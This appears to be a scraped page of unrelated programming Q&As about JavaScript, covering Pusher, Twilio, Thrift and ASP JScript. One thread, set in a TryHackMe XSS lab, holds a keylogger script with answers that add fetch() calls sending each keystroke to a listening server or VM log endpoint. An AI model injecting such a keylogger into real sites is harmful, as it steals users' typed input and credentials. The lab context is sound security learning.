calling on a javascript push service via c++ - javascript

I have a Qt application that needs to call on a javascript push service. Basically there is no \endf in the http. (a currency ticker)
<script src="//js.pusher.com/2.2/pusher.min.js" type="text/javascript"></script>
<script type="text/javascript">
var pusher = new Pusher("cb65d0a7a72cd94adf1f");
var channel = pusher.subscribe("ticker.160");
channel.bind("message", function(data) {
//console.log(data);
var topbuy = data.trade.topbuy;
console.log("Price: ", topbuy.price,
"Quantity:", topbuy.quantity);
});
</script>
How do I execute this existing code in C++? (make it a C++ ticker and not just a JavaScript ticker)

According to http://pusher.com/docs/pusher_protocol, they use WebSockets for communication.
So you probably want to look at some library like http://www.zaphoyd.com/websocketpp or the Casablanca SDK from Microsoft https://casablanca.codeplex.com/
With one of these it should be fairly easy to connect and receive the Pusher messages.

Related

Send Javascript data to SimpleHTTPServer

I'm doing the xss challenge on tryhackme.com (https://tryhackme.com/room/xss). The 7th task asks me to use a simple keylogger
<script type="text/javascript">
 let l = "";
 document.onkeypress = function (e) {
   l += e.key;
   console.log(l);
 }
</script>
and send the input to http://<vm ip>/log/<this data will be logged> as that will log the keystrokes which can be viewed by going to http://<vm ip>/logs. I have tried things such as window.location, but can't get it to work.
For further learning, I'd also like to send the data to my SimpleHTTPServer running on port 8000, so that the keys would be displayed in my terminal as they are typed on the webpage. I cannot get this to work.
Could someone please show me how to do this?
No, I am not being malicious. I am learning as I'd like to work in cyber security. If I was being malicious I'd just use scripts I'd find on GitHub or something without understanding how they work.
Thank you.
As SimpleHTTPServer logs every request it receives, you can use fetch() to make a GET request and pass the data within it.
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
  l += e.key;
  console.log(l);
fetch(`http://127.0.0.1:8000?logger=${l}`, { mode: 'no-cors'});
}
</script>
This would give you something like this:
For sending the data to the VM you could use fetch too, being it something like this:
fetch(`http://VM_IP/log/${l}`, { mode: 'no-cors'});
Excluding many packaging resources, you can use a simple WEB API to achieve this purpose. Here I briefly introduce two WEB APIs
Fetch API
The Fetch API provides a JavaScript interface for accessing and
manipulating parts of the HTTP pipeline, such as requests and
responses.
fetch('http://example.com/movies.json')
.then(function(response) {
return response.json();
})
.then(function(myJson) {
console.log(myJson);
});
XMLHttpRequest API
XMLHttpRequest (XHR) objects are used to interact with servers. You
can retrieve data from a URL without having to do a full page refresh.
This enables a Web page to update just part of a page without
disrupting what the user is doing.
function reqListener () {
console.log(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "http://www.example.org/example.txt");
oReq.send();

I am running a basic HTML & Javascript app (connecting to Google and Twilio API), and keep getting the reference error that a variable is not defined

I built a basic HTML & Javascript app to translate a few words from the Google Translate API then text them to a number via Twilio. Here is my HTML:
<!DOCTYPE html>
<html>
<head>
<script type = "text/javascript" src="script.js"></script>
</head>
<body>
<p>Click the button to receive 3 Hebrew texts</p>
<input id="clickMe" type="button" value="clickme" onclick="myFunction();" />
</body>
</html>
And here is script.js:
function myFunction(){
// Imports the Google Cloud client library
const {Translate} =require('#google-cloud/translate').v2;
// Creates a client in Google API
const projectId = 'Xx'
const keyFilename = '/Users/x/Downloads/vocal-lead-306923-b3d8f6749397.json'
const translate = new Translate({projectId, keyFilename});
const lang = "he"
// Creates a client in Twilio API
const accountSid = 'Xx'
const authToken = 'Xx'
const client = require('twilio')(accountSid,authToken);
/** Set variables for input in Google API */
const text = ['One day'];
const target = lang;
async function translateText() {
// Translates the text into the target language. "text" can be a string for
// translating a single piece of text, or an array of strings for translating
// multiple texts.
let [translations] = await translate.translate(text, target);
translations = Array.isArray(translations) ? translations : [translations];
//console.log('Translations:');
translations.forEach((translation, i) => {
setTimeout(() => {
// Sends messages via Twilio
client.messages.create({
to:'+phone',
from:'+phone',
body: `${translation}`
})
}, i * 10000);
});
}
translateText();
}
myFunction();
By itself, the script works but it doesn't work when I run it from my local browser. I hit inspect and I get this error:
Uncaught ReferenceError: require is not defined
at myFunction (script.js:5)
at HTMLInputElement.onclick (index.html:8)
I took out auth keys/any personal data but I think that is all correct. Any advice would be helpful!
If you're trying to run the script in browser, it won't work. This is because require() is a nodejs feature, and so anything that depends on libraries by require needs to be done in a nodejs backend (you can communicate between html frontend and nodejs backend over http for example; see https://expressjs.com/ and https://nodejs.org/en/ the latter has builtin http but for routing express is recommended).
You mention that you've removed private information for this SO post, but keep in mind that when you publish this site and the script.js is visible to the user (i.e. inspect element) it'll be freely accessible. It is not good practice to put secrets in the frontend code. Consider this: a bad actor uses your API key to send spam SMS on your behalf... not good.
Also see: How to use google translation api with react

How to execute a Javascript function in an HTML page, in a browser, from a Java class on my server?

<script type="text/javascript">
function start() {
window['progress'] = setInterval(function() {
var pbClient = PF('pbClient'),
oldValue = pbClient.getValue(),
newValue = oldValue + 10;
pbClient.setValue(pbClient.getValue() + 10);
if(newValue === 100) {
clearInterval(window['progress']);
}
}, 100);
}
</script>
I want to call this function in my Java class.Actually this problem is the progress bar is in dialog.And I want to go another xhtml page after progress bar
To call an external javascript functions you can use ScriptEngine.eval(java.io.Reader) and here is the documentation
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine Scr_engine = manager.getEngineByName("JavaScript");
// To read script file
engine.eval(Files.newBufferedReader(Paths.get("Full path of you JS file"), StandardCharsets.UTF_8));
Invocable invvoc = (Invocable) Scr_engine;
// To call the JS function from script file
invvoc .invokeFunction("yourFunctionName", "param");
You can't call Javascript functions, which run in the browser, from Java code which runs on your server. You need to send messages over the network for interaction between your server and the client. I would look into Server-Sent Events.
Rhino is what you are looking for.
Rhino is an open-source implementation of JavaScript written entirely in Java. It is typically embedded into Java applications to provide scripting to end users.
Look here : How can I use Javascript in Java?

javascript Thrift client hangs

I have the following Thrift client code in javascript:
<script language="javascript" type="text/javascript" src="thrift.js" />
<script language="javascript" type="text/javascript" src="QuantSvc_types.js" />
<script language="javascript" type="text/javascript" src="QuantSvc.js" />
<script language="javascript" type="text/javascript">
function calc() {
var transport = new Thrift.Transport("http://localhost:9997/QuantSvc/");
var protocol = new Thrift.Protocol(transport);
var client = new QuantSvcClient(protocol);
try {
result = client.ListAllVariables()
} catch(ouch) {
alert("An exception occurred!")
}
}
</script>
Which is triggered when I push a button on my HTML page. Then, I have the following server-side Scala code, running on localhost:9997:
object Application extends App {
val handler = new QuantSvcHandler()
val processor = new QuantSvc.Processor(handler)
val serverTransport = new TServerSocket(9997)
val server = new TThreadPoolServer(new TThreadPoolServer.Args(serverTransport).processor(processor))
}
Where the QuantSvcHandler's ListAllVariables function is (basically a skeleton function, just trying to get things to work):
override def ListAllVariables(): util.List[Attributes] =
{
var input = scala.collection.mutable.Buffer[Attributes]()
input
}
I put a breakpoint at the first line of ListAllVariables, and also a few places in the QuantSvcHandler processor. I run the server in debug in intellij IDEA, open my HTML page in Chrome, and push the button (the one that calls the javascript calc() function). The button stays stuck and I see no kind of response on the server, the breakpoints aren't being hit.
Any ideas about what I'm doing wrong?
You mix a HTTP client with a socket server.
Although HTTP uses sockets, the Thrift HTTP transport is not compatible with the Thrift Sockets transport. You need to set up the exact same protocol/transport stack on both ends. The only exception to that rule is that some server transports implicitly require an additional framed transport layer on the client side.
So the solution is to use a HTTP server. Depending on the version you use, you may also have to switch to the JSON protocol.

Creating a DB connection in global.asa with JScript

I have a problem. I have this piece of ASP code with JScript like this:
var stringa = "Driver=SQL Server;Server=xxx;Database=xxx;Uid=xxx;Pwd=xxx;";
var cn = new ActiveXObject("ADODB.Connection");
var rs = new ActiveXObject("ADODB.Recordset");
cn.Open(stringa);
var SQL = "SELECT * FROM pippo"
rs.Open(SQL, cn, 1);
// ...
rs.Close();
I want to convert this code to two files: global.asa (for the connection) and pippo.asp (for the rest of the code). On the web, I found only code for global.asa coded in VBScript, but I want to use JScript. Can you help me?
What I've done in the past is store the connection string as an Application variable set in global.asa, and create the Connection object on a page-by-page basis. The syntax for a JScript version of global.asa is going to be very similar to a VBScript version.
From the documentation:
When the application starts, the server looks in the Global.asa file
and processes the Application_OnStart function. When the application
ends, the server processes the Application_OnEnd function.
So a barebones global.asa may look like:
<script language="JScript" runat="Server">
function Application_OnStart() {
Application.Contents("connString") = "<etc...>";
}
</script>

Categories